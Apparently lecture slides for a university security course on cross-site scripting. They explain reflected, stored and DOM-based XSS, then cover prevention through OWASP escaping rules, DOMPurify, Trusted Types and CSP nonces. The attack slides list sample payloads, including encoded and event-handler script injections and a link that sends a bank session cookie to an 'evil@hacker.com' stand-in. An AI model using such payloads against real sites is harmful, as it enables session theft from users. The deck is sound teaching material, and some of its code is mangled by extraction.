

CSC 405 Cross-Site Scripting (XSS)

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Cross-Site Scripting (XSS)

- XSS attacks are used to bypass JavaScript's Same Origin Policy
- Reflected attacks
 - The injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request
- Stored attacks
 - The injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.
- DOM-based XSS
 - The JavaScript code on the page takes a string and turns it into code, usually by calling a method such as eval, Function, or others

Reflected XSS

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Reflected XSS

http://example.com?name=hacker

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Reflected XSS

```
http://example.com?name=<script>alert('
xss');</script>
<html>
  <body>
    Hello <script>alert('xss');
</script>
  </body>
</html>
```

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Hello



Reflected Cross-Site Scripting

- The JavaScript returned by the web browser is attacker controlled
 - Attacker just has to trick you to click on a link
- The JavaScript code is executed in the context of the web site that returned the error page
 - What is the same origin policy of the JavaScript code?
- The malicious code
 - Can access all the information that a user stored in association with the trusted site
 - Can access the session token in a cookie and reuse it to login into the same trusted site as the user, provided that the user has a current session with that site
 - Can open a form that appears to be from the trusted site and steal PINs and passwords

Reflected Cross-Site Scripting

 Broken links are a pain and sometimes a site tries to be user-friendly by providing meaningful error messages:

```
<html>
[...]
404 page does not exist: ~akaprav/secrets.html
</html>
```

- The attacker lures the user to visit a page written by the attacker and to follow a link to a sensitive, trusted site
- The link is in the form:

```
<a href="http://www.usbank.com/<script>send-
CookieTo(evil@hacker.com)</script>">US Bank</a>
```

Stored Cross-Site Scripting

- Cross-site scripting can also be performed in a two-step attack
 - First the JavaScript code by the attacker is stored in a database as part of a message
 - Then the victim downloads and executes the code when a page containing the attacker's input is viewed
- Any web site that stores user content, without sanitization, is vulnerable to this attack
 - Bulletin board systems
 - Blogs
 - Directories

Executing JavaScript

- JavaScript can be executed and encoded in many different ways
 - See Rsnake's "XSS Cheat Sheet" at <u>https://www.owasp.org/index.php/XSS Filter Evasion Cheat Sheet</u>
 - Simple: <script>alert(document.cookie);</script>
- Encoded: %3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
- Event handlers:
 - <body onload=alert('XSS')>
 - <b onmouseover=alert('XSS')>click me!
 -
- Image tag (with UTF-8 encoding):
 -
 -
- No quotes
 - <img%20src=x.js onerror= alert(String(/hacker/).substring(1,5)
)>

DOM-based XSS

- Also called third-order XSS
 - Reflected: first-order
 - Stored: second-order
- I prefer the term Client-Side XSS
 - Because the bug is in the client side (aka JavaScript) code
- As opposed to Server-Side XSS vulnerabilities
 - Where the bug is in the server-side code


http://example.com/test.html#hacker

```
<html>
  <body>
    <script>
      var name = location.h
      document...ite("hello"
                               + name);
    </script>
  </body>
</html>
```


```
http://example.com/test.html#<script>aler
t("xss")</script>
<html>
  <body>
    <script>
      var name = location hash;
      document...ite("hello " + name);
    </script>
  </body>
</html>
```

Wormable XSS

- Stored XSS vulnerability on user-accessible action
 - Self-propagating worm
- Social networks particularly susceptible
 - "samy is my hero" (2005)
 - Tweetdeck (2014)



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- XSS is very difficult to prevent
- Every piece of data that is returned to the user and that can be influenced by the inputs to the application must first be sanitized (GET parameters, POST parameters, Cookies, request headers, database contents, file contents)
- Specific languages (e.g., PHP) often provide routines to prevent the introduction of code
 - Sanitization must be performed differently depending on where the data is used
 - This context-sensitivity of sanitization has been studied by the research community

- Rule 0: Never Insert Untrusted Data Except in Allowed Locations
 - Directly in a script: <script>...NEVER PUT UNTRUSTED DATA HERE...</script>
 - Inside an HTML comment: <!--...NEVER PUT UNTRUSTED DATA HERE...->
 - In an attribute name: <div ...NEVER PUT UNTRUSTED DATA HERE...=test />
 - In a tag name: <...NEVER PUT UNTRUSTED DATA HERE... href="/test" />
- Rule 1: HTML Escape Before Inserting Untrusted Data into HTML Element Content
 - <body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
 - <div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>
 - The characters that affect XML parsing (&, >, <, ", ', /) need to be escaped

- Rule 2: Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
 - Inside unquoted attribute: <div attr=...ESCAPE UNTRUSTED
 DATA BEFORE PUTTING HERE...>content</div>
 - These attributes can be "broken" using many characters
 - Inside single-quoted attribute: <div attr='...ESCAPE
 UNTRUSTED DATA BEFORE PUTTING HERE...'>content</div>
 - These attributes can be broken only using the single quote
 - Inside double-quoted attribute: <div attr="...ESCAPE
 UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>
 - These attributes can be broken only using the double quote

- RULE 3: JavaScript Escape Before Inserting Untrusted Data into HTML JavaScript Data Values
 - Inside a quoted string: <script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>
 - Inside a quoted expression: <script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>
 - Inside a quoted event handler: <div onmouseover='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</div>
- RULE 4: CSS Escape Before Inserting Untrusted Data into HTML Style Property Values
 - <style>selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; } </style>
 - text</style>

- RULE 5: URL Escape Before Inserting Untrusted Data into HTML URL Attributes
 - A normal link: <a href=http://...ESCAPE UNTRUSTED
 DATA BEFORE PUTTING HERE...>link
 - An image source:
 - A script source: <script src="http://...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..." />

Check out:

https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_S cripting Prevention Cheat Sheet.html

Sanitizer API

let clean = DOMPurify.sanitize(user_input);

Sanitizer API

\$div.setHTML(user_input)

- Chrome shipped an initial version of the Sanitizer API in Chrome 105
- deprecated in Chrome 119
- still under <u>discussion</u>

Trusted Types

Here are some common DOM manipulation "sinks" that are susceptible to XSS:

- innerHTML
- outerHTML
- document.write()
- element.setAttribute('onclick', ...) (and other event handlers)
- eval()
- <script>...</script> (dynamically creating script tags)
- location.href (and similar location-related assignments)

Trusted Types

- Trusted Types change how your JavaScript code interacts with these sensitive DOM APIs
- Instead of accepting arbitrary strings, these APIs are modified to only accept objects of specific "Trusted Type" instances
- These types act as a guarantee that the content they hold has been sanitized or determined to be safe for the intended context

```
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types <policy-name> <policy-name-2> ...;
```

Trusted Types

How to apply policies:

```
if (window.trustedTypes &&
trustedTypes.createPolicy) { // Feature testing
   trustedTypes.createPolicy('default', {
     createHTML: (string, sink) =>
DOMPurify.sanitize(string, {RETURN_TRUSTED_TYPE:
true})
   });
}
```

Only Chrome supports them currently:(

https://web.dev/articles/trusted-types

CSP

```
Content-Security-Policy: script-src 'self' 'nonce-R4nd0mStr1ng';

<script nonce="R4nd0mStr1ng">
    // Your inline script code here
    </script>
```

An attacker can't simply inject a <script> tag; they'd need to guess the nonce.